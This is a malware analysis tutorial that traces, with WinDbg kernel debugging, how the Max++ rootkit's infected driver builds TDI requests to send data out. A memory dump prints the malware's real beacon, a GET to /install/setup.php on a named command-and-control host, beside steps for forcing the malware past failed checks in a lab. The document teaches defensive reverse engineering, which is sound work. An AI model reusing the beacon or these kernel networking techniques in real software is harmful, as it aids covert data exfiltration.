Malware Analysis Tutorial 24: Tracing Malicious TDI Network Behaviors of Max++
Learning Goals:

  1. Use WinDbg for kernel debugging
  2. Apply the data tracing and hardware data breakpoint points for analyzing data flow
  3. Understand TDI Network Service
  4. Understand key I/O data structures such as _IRP and _IO_STACK_LOCATION

Applicable to:

  1. Operating Systems
  2. Assembly Language
  3. Operating System Security

1. Introduction
This tutorial continues the analysis of the infected raspppoe driver and presents Max++’s malicious network activities and the low level I/O operations that create a lot of trouble in debugging. We show how Max++ directly constructs TDI low level I/O requests for sending out network data. TDI is the windows low level I/O interface for TCP/IP devices.

Our analysis starts from _+1BF2.

2. Lab Configuration
We will use the instructions of Section 2 of Tutorial 20. In the following we just remind you of several important steps in the configuration:
(1) You need a separate image named “Win_Notes” to record and comment the code. You don’t really need to run the malware on this instance, but just to record all your observations using the .udd file. To do this, you have to modify the control flow of IMM so that it does not crash on .sys files. See Section 2 of Tutorial 20 for details. Jump to 0x10001BF2 to start the analysis.
(2) The second “Win_DEBUG” image has to be run in the DEBUG mode and there should be a WinDbg hooked from the host system using COM part — so here, we are doing kernel debugging.
(3) Set a breakpoint “bu _+1bF2” in WinDbg to intercept the driver entry function.

3. Function _+1BF2 (Network Activities)
Function body of _+1BF2 is shown in Figure 1. This is a relatively simple function. The first action (see highlighted area in Figure 1) is a call to KeInitializeQueue. This is to create a queue for processing I/O request. Interestingly, this queue is NOT used in function _+1BF2. You can follow the same technique as shown in Tutorial 23 to find out how the queue is used.

Challenge 1. Use hardware data breakpoints to find out how the I/O queue created at _+1C07 is used. For example, you have to figure out who is inserting new items into the queue?

Figure 1. Start a System Thread

 Next the function creates a system thread (at _+1C1F in Figure 1). The start routine of the system thread is _+393A and the disk driver object will be passed as the parameter to the start routine. Notice that it is already infected (its Major Function is set to _+2BDE)

Challenge 2. Prove that the INFECTED disk driver object is passed as the parameter to the start routine.

Now if we set a breakpoint “bp _+393A” at the start routine, we get into its function body. The function immediately calls _+1b88. The function body of _+1b88 is shown below:

Figure 2. Process IRP Request WorkItem

 Function _+1b88 deserves some special attention and requires skillful analysis. The first portion of the function (0x10001B95 to 0x10001BB5, in Figure 2) is easy to understand. Based on the error code returned by KeRemoveQueue, the function will take proper processing actions. Then if KeRemoveQueue is returning correctly, which is a _LIST_ENTRY instance, we have to understand the actions performed by Max++ from 0x10001BB7 (see Figure 2).

There are four instructions, from 0x10001BB7, seem to reference some data attributes related to EAX. The question is what is the data type of EAX. If we look at instruction at 0x10001BC3 (see the highlighted box in Figure 2), and then the call of IoFreeIrp at 0x1BC7, we can immediately infer that EAX-58 is the entry address of an _IRP. Then based on this fact, we could easily infer the meaning of the rest of the code.

Finally, at 0x10001BDD (see the last highlighted area in Figure 2), Max++ jumps to _+21A1. This address must be set up by Max++ when it sets up the IRP work item.

We now look at function _+21A1. Like any other driver processing logic, it consists of a lot of switch cases. Tracing through the calls using WinDbg, we soon reach function _+1660 (as shown in the following).

Figure 3. Function Body of _+1660

As shown in Figure 3, function _+1660 first reads the current IO status code passed as the parameter,  stored in [EBP+8]. If everything ok (network device ok), it proceeds to generate a GUID (unique identifier), uses sprintf to generate the HTTP header request “/install/setup.php” and calls a function “sendsHTTPReq_Get_InstallPHP” (label we attached to function _+2090).

([LAB NOTE: Because Max++ tried to access x86.00.dll located at 74.117.xx.xx and it failed. The device status is C00000B5. To present that it is successful,  we can use the “ed 0xaaaabbbb 0” command to reset the error code, where “aaaabbbb” is the EBP+8].).

Challenge 3: Trace who is writing to [EBP+8].

Figure 4. Function Body of _+2090: Send out TCP Packet

[Lab Notice: to cheat the malware again and make it believe that the TDI service is there. Set a BP at _+20D4 and then change the value of eax to 1, e.g., using WinDbg command “r eax=1”]
As shown in Figure 4, the job of function _+2090 is to send out network packets. Its main function is to build up IRP requests and invoke the network driver to send out the request. We now expose some of its major operations here.

At _+2102 (see the highlighted area in Figure 4), we encounter the first interesting call: IoBuildDeviceIoControlRequest. By the MSDN document [1], the prototype of the function is listed below. Clearly it returns an instance of IRP object. The interesting parameters are: IoControlCode, DeviceObject, Input/Output Buffer, PKEvent. We now check the parameters of these parameters one by one.

PIRP IoBuildDeviceIoControlRequest(
__in       ULONG IoControlCode,
__in       PDEVICE_OBJECT DeviceObject,
__in_opt   PVOID InputBuffer,
__in       ULONG InputBufferLength,
__out_opt  PVOID OutputBuffer,
__in       ULONG OutputBufferLength,
__in       BOOLEAN InternalDeviceIoControl,
__in_opt   PKEVENT Event,
__out      PIO_STATUS_BLOCK IoStatusBlock

Doing a dump of the stack using WinDbg right before the call of IoBuildDeviceIoControlRequest, we have the following:

kd> dd esp
f7df4d04  00000002 ffb24530 00000000 00000000
f7df4d14  e11c600c 0000008c 00000001 00000000
f7df4d24  f7df4d34 00000000 e10e26c8 00000000
f7df4d34  faf36091 00000008 ffb24530 f7df4d6c
f7df4d44  faf356e2 00000000 e10e26c8 00000000
f7df4d54  00000000 c66258dd 11e17d8d 00089c9e
f7df4d64  02b75027 00000382 f7df4d84 faf3628c
f7df4d74  00000000 e10e26c8 00000000 c00000b5

Clearly, the IoControlCode is 0x2, the DeviceObject is ffb24530, and the output buffer is 0xe11c600c. If you later dump the contents of DeviceObject using “dt _DEVICE_OBJECT ffb24530 -r2” you will find that its driver object is “Driver/TCP“. To find out the meaning of IoControlCode, 0x2, simply search for “#define IRP_MJ_CREATE” on Google, you will soon learn that 0x2 means IRP_MJ_CLOSE. Note that interestingly, the output buffer, which is supposed to be overwritten has the following (which is the HTTP request header for

kd> db 0xe11c600c
e11c600c  47 45 54 20 2f 69 6e 73-74 61 6c 6c 2f 73 65 74  GET /install/set
e11c601c  75 70 2e 70 68 70 3f 6d-3d 30 38 30 30 32 37 35  up.php?m=0800275
e11c602c  30 62 37 30 32 20 48 54-54 50 2f 31 2e 31 0d 0a  0b702 HTTP/1.1..
e11c603c  48 6f 73 74 3a 20 69 6e-74 65 6e 73 65 64 69 76  Host: intensediv
e11c604c  65 2e 63 6f 6d 0d 0a 55-73 65 72 2d 41 67 65 6e
e11c605c  74 3a 20 4f 70 65 72 61-2f 39 2e 32 39 20 28 57  t: Opera/9.29 (W
e11c606c  69 6e 64 6f 77 73 20 4e-54 20 35 2e 31 3b 20 55  indows NT 5.1; U
e11c607c  3b 20 65 6e 29 0d 0a 43-6f 6e 6e 65 63 74 69 6f  ; en)..Connectio

Why use it as output buffer (it should be an input buffer instead!)? Let’s first examine the _IRP generated by the call, it is stored in EAX. The following shows the dump. The first interesting data member is the StartVa (virtual address) associated with the _IRP, it is 0xe11c6000 (which is very close to the output buffer above). Then the next interesting part is that: stack count is 1, current location is 2, and currentStackLocation is 0x81158a3c.

kd> dt _IRP 811589a8 -r2
   +0x000 Type             : 0n6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : 0xffa339e0 _MDL
      +0x000 Next             : (null)
      +0x004 Size             : 0n32
      +0x006 MdlFlags         : 0n138
      +0x008 Process          : (null)
      +0x00c MappedSystemVa   : 0x81257000 Void
      +0x010 StartVa          : 0xe11c6000 Void
      +0x014 ByteCount        : 0x8c
      +0x018 ByteOffset       : 0xc
   +0x008 Flags            : 0
   +0x022 StackCount       : 1
   +0x023 CurrentLocation  : 2
     +0x040 Tail             : __unnamed
      +0x000 Overlay          : __unnamed
         +0x000 DeviceQueueEntry : _KDEVICE_QUEUE_ENTRY
         +0x000 DriverContext    : [4] (null)
         +0x010 Thread           : 0x8112c200 _ETHREAD
         +0x014 AuxiliaryBuffer  : (null)
         +0x018 ListEntry        : _LIST_ENTRY [ 0x0 – 0x0 ]
         +0x020 CurrentStackLocation : 0x81158a3c _IO_STACK_LOCATION
         +0x020 PacketType       : 0x81158a3c
         +0x024 OriginalFileObject : (null)

There is no sufficient information of the entire data structure of _IRP, and we again have to rely on google. Searching _IRP and StackCount and CurrentLocation we found the following code from [3]:

#define IoSetNextIoStackLocation(_IRP){

Note that the type of currentLocation is byte, while the currentStackLocation is _IO_STACK_LOCATION (so the — operator is actually to reduce by 9×24 bytes, i.e., the size of IO_STACK_LOCATION). You can also notice that the stack growth direction is DOWN! In another word, notice that IO_STACK_LOCATION is a subtask of the entire _IRP, i.e., an _IRP can consists of multiple IO_STACK_LOCATION located on the IO_stack, consecutively. To move to the next _IO_STACK_LOCATION, reduce the current IO_STACK_LOCATION address by 24.

Let’s print the contents of the current _IO_STACK_LOCATION and see what it is:
kd> dt _IO_STACK_LOCATION 0x81158a3c
   +0x000 MajorFunction    : 0x9c
   +0x001 MinorFunction    : 0x89
   +0x002 Flags            : 0x15 ”
   +0x003 Control          : 0x81 ”
   +0x004 Parameters       : __unnamed
   +0x014 DeviceObject     : (null)
   +0x018 FileObject       : (null)
   +0x01c CompletionRoutine : 0x81158a58     long  +ffffffff81158a58
   +0x020 Context          : 0x81158a58 Void

Notice the major function is 0x9c, minor function is 0x89. If you search winnt_types.h you will find that it is MEANINGLESS! Why? Because the _IO_STACK_LOCATION we are displaying is INVALID! Pay attention to the value of stackCount (it’s 1), which means that there is ONLY ONE _IO_STACK_LOCATION (subtask) associated with this IRP, and the currentLocation is 2 (which means that 0x81158a58) is actually 0x24 bytes after the ACTUAL _IO_STACK_LOCATION associated with the _IRP!

Now look at the code located at 0x1000211b and 0x1000211E, its counter part in WinDbg is shown below:
faf3611b 8b4860          mov     ecx,dword ptr [eax+60h]
kd> p
faf3611e 83e924          sub     ecx,24h
kd> kd> r ecx

The motivation is clear, now ECX has the real address of the _IO_STACK_LOCATION. The next couple of instructions set up the contents of the _IO_STACK_LOCATION, and the real contents of the _IO_STACK_LOCATION are:

kd> dt _IO_STACK_LOCATION 81158a18
   +0x000 MajorFunction    : 0xf ”
   +0x001 MinorFunction    : 0x7 ”
   +0x002 Flags            : 0 ”
   +0x003 Control          : 0 ”
   +0x004 Parameters       : __unnamed
   +0x014 DeviceObject     : (null)
   +0x018 FileObject       : 0xffbc7698 _FILE_OBJECT
   +0x01c CompletionRoutine : (null)
   +0x020 Context          : (null)

Now the major function is 0xf (IRP_MJ_INTERNAL_DEVICE_CONTROL) and the MinorFunction code is 0x7 (TDI_SEND). If you read the MSDN documentation about TDI_SEND [4], you might notice that the data to send is stored in _IRP->MDL (which contains the HTTP request to,
and the _IO_STACK_LOCATION->FileObject represents the TCP connection socket end-object.

Up to now, we are clear that function _1660 is trying to send a request “/install/setup.php...” to If you open the WireShark on the Linux Gateway, you will be able to capture this packet.

Challenge of the Day: Can you find out the code which is responsible for getting the data returned by the “/install/setup.php”? [hint: use data breakpoints and think about how to use TDI service to receive].

1. MSDN, “IoBuildDeviceControlRequest Routine”, available at
2.  MSDN, “KeInsertQueue”, available at
3.  winddk.h, available on
4. MSDN, “TDI_SEND”, available at

By admin